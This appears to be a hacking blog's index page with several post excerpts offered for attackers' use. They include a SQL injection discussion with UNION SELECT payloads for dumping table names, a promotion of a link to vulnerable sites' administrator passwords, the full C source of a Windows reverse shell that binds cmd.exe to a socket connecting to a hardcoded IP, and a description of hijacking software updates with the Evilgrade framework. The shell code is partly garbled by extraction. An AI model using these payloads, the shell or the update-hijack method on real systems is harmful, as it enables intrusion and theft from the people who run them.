nothing from information_schema.tables

Greetings good and bad injectors, Any idea why this first query prints nothing, while the next query prints dozens of 9's?
page.php?id=123 union select 1,2,group_concat(table_name) from information_schema.tables
page.php?id=123 union select 1,2,group_concat(9) from information_schema.tables
Also tried this variant but got nothing again
page.php?id=123 union select 1,2,group_concat(/*!table_name*/) from information_schema.tables


all table names concated returns a quite long string, maybe the webapp doesn't like that. try to limit the result and to remove remaining parts of the original sql query by placing comments at the end:
page.php?id=123 union select 1,2,group_concat(table_name) from information_schema.tables limit 10-- -


tried with LIMIT and commenting but still no show

if i select a 1000 char string instead of group_concat the webapp does display it, example:

$phpString = '0x'.bin2hex(str_repeat('a',1000));
page.php?id=123 union select 1,2,$phpString from information_schema.tables limit 1--

also, LIMIT makes no difference to the size of group_concat, which always returns 1 record anyway

Read More

SQL injection by just simple click

for SQL Injection just click  HERE and you can get most of the vulnerable sites with the administrator password of that site...
So Enjoy It.........

Read More

Reverse shell through DLL Injection using undocumented API function

AJVrs.c
Reverse shell in win32
(c) by Andreas Venieris (aka thiseas) 2010
Compile with VS 2008 from command line with cl:
C:> cl AJVrs.c
******************************************************
*********/
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib") // Inform the
linker that
// the Ws2_32.lib
fle is needed.
#defne DEFAULT_PORT 1234
#defne DEFAULT_IP "192.168.1.70"
WSADATA wsaData;
SOCKET Winsocket;
STARTUPINFO theProcess;
PROCESS_INFORMATION info_proc;
struct sockaddr_in Winsocket_Structure;
int main(int argc, char *argv[])
{
char *IP = DEFAULT_IP;
short port = DEFAULT_PORT;
if (argc == 3){
strncpy(IP,argv[1],16);
port = atoi(argv[2]);
}

WSAStartup(MAKEWORD(2,2), &wsaData);
Winsocket=WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP,NULL, (unsigned int)
NULL, (unsigned int) NULL);
Winsocket_Structure.sin_port=htons(port);
Winsocket_Structure.sin_family=AF_INET;
Winsocket_Structure.sin_addr.s_addr=inet_
addr(IP);
if(Winsocket==INVALID_SOCKET)
{
WSACleanup();
return 1;
}
if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Str
ucture,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)
{
WSACleanup();
}
  // Starting shell by creating a new process with
i/o redirection.
memset(&theProcess,0,sizeof(theProcess));
theProcess.cb=sizeof(theProcess);
theProcess.dwFlags=STARTF_USESTDHANDLES;

  // here we make the redirection
theProcess.hStdInput = theProcess.hStdOutput
= theProcess.hStdError =
(HANDLE)Winsocket;

// fork the new process.
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,
0,NULL,NULL,&theProcess,&info_
proc)==0)
{
WSACleanup();
return 1;
}
return 0;
}

Read More

Hijacking Software updates with Evilgrade

Now a days software developers do not spend much time on updates and secure delivery mechanisms. That’s
why standard processes for updating applications make many users vulnerable The process is as follows:

• Application by initiates update process.

• Application will connect to the DNS server host for example update.app1.com

• DNS server replies with server IP (for example 200.1.1.1).

• Application downloads a special file with information about the update, for example lastupdate.xml from update.app1.com

• Application analyzes the update file and detects new updates.

• Finally App1 downloads and execute the update:
http://update.app1.com/update.exe

      A lot of applications do not verify the update’s contents and blindly trust the master update server. This does nothing to prevent an attacker pretending to be the update server and submit an application file to run on the system.Evilgrade is modular framework that allows attackers to take advantage of poor update implementations by injecting fake updates.

Google code mirror of Evilgrade

Enjoy...

Read More